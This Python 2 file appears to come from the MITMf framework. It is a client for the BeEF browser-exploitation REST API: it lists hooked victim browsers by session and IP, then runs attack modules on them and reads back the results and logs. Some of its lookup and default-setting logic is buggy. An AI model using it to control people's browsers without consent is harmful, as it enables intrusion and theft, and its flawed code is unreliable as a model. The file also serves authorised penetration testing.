MITMf/libs/beefapi.py

#!/usr/bin/env python
import requests
import json
from random import sample
from string import lowercase, digits


class BeefAPI:

	def __init__(self, opts=[]):
		self.host = "127.0.0.1" or opts.get(host)
		self.port = "3000" or opts.get(port)
		self.token = None
		self.url = "http://%s:%s/api/" % (self.host, self.port)
		self.login_url = self.url + "admin/login"
		self.hookurl = self.url + "hooks?token="
		self.mod_url = self.url + "modules?token="
		self.log_url = self.url + "logs?token="

	def random_url(self):
		url = "".join(sample(digits + lowercase, 8))
		return url

	def login(self, username, password):
		try:
			auth = json.dumps({"username": username, "password": password})
			r = requests.post(self.login_url, data=auth)
			data = r.json()

			if (r.status_code == 200) and (data["success"]):
				self.token = data["token"]  #Auth token
				return True
			elif r.status_code != 200:
				return False

		except Exception, e:
			print "beefapi ERROR: %s" % e

	def onlineSessions(self):
		return self.get_sessions("online", "session")

	def offlineSessions(self):
		return self.get_sessions("offline", "session")

	def onlineHosts(self):
		return self.get_sessions("online", "ip")

	def offlineHosts(self):
		return self.get_sessions("offline", "ip")

	def get_sessions(self, state, value):
		try:
			hooks = []
			r = requests.get(self.hookurl + self.token).json()
			for v in r["hooked-browsers"][state].items():
				hooks.append(v[1][value])

			return hooks
		except Exception, e:
			print "beefapi ERROR: %s" % e

	def getModid(self, name): #Returns module id
		url = self.mod_url + self.token
		try:
			r = requests.get(url).json()
			for v in r.values():
				if v["name"] == name:
					return v["id"]
		except Exception, e:
			print "beefapi ERROR: %s" % e

	def getModname(self, id): #Returns module name
		url = self.mod_url + self.token
		try:
			r = requests.get(url).json()
			for v in r.values():
				if v["id"] == id:
					return v["name"]
		except Exception, e:
			print "beefapi ERROR: %s" % e

	def host2session(self, ip):  #IP => Session
		url = self.hookurl + self.token
		try:
			r = requests.get(url).json()
			for v in r["hooked-browsers"]["online"].items():
				if v[1]["ip"] == ip:
					return v[1]["session"]
				else:
					session = None

				if session is None:
					for v in r["hooked-browsers"]["offline"].items():
						if v[1]["ip"] == ip:
							return v[1]["session"]
						else:
							return None

		except Exception, e:
			print "beefapi ERROR: %s" % e

	def session2host(self, session):  #Session => IP
		url = self.hookurl + self.token
		try:
			r = requests.get(url).json()
			for v in r["hooked-browsers"]["online"].items():
				if v[1]["session"] == session:
					return v[1]["ip"]
				else:
					ip = None

				if ip is None:
					for v in r["hooked-browsers"]["offline"].items():
						if v[1]["session"] == session:
							return v[1]["ip"]
					else:
						return None
		except Exception, e:
			print "beefapi ERROR: %s" % e

	def runModule(self, session, mod_id, options={}):  #Executes a module on a specified session
		try:
			headers = {"Content-Type": "application/json", "charset": "UTF-8"}
			payload = json.dumps(options)
			url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
			return requests.post(url, headers=headers, data=payload).json()
		except Exception, e:
			print "beefapi ERROR: %s" % e

	def moduleResult(self, session, mod_id, cmd_id):
		url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)
		return requests.get(url).json()

	def sessionInfo(self, session):  #Returns parsed information on a session
		url = self.url + "hooks/%s?token=%s" % (session, self.token)
		return requests.get(url).json()

	def logs(self):
		return requests.get(self.log_url + self.token).json()

	def sessionLogs(self, session):
		url = self.url + "logs/%s?token=%s" % (session, self.token)
		return requests.get(url).json()

	def listModules(self):
		return requests.get(self.mod_url + self.token).json()

	def moduleInfo(self, id):
		url = self.url + "modules/%s?token=%s" % (id, self.token)
		return requests.get(url).json()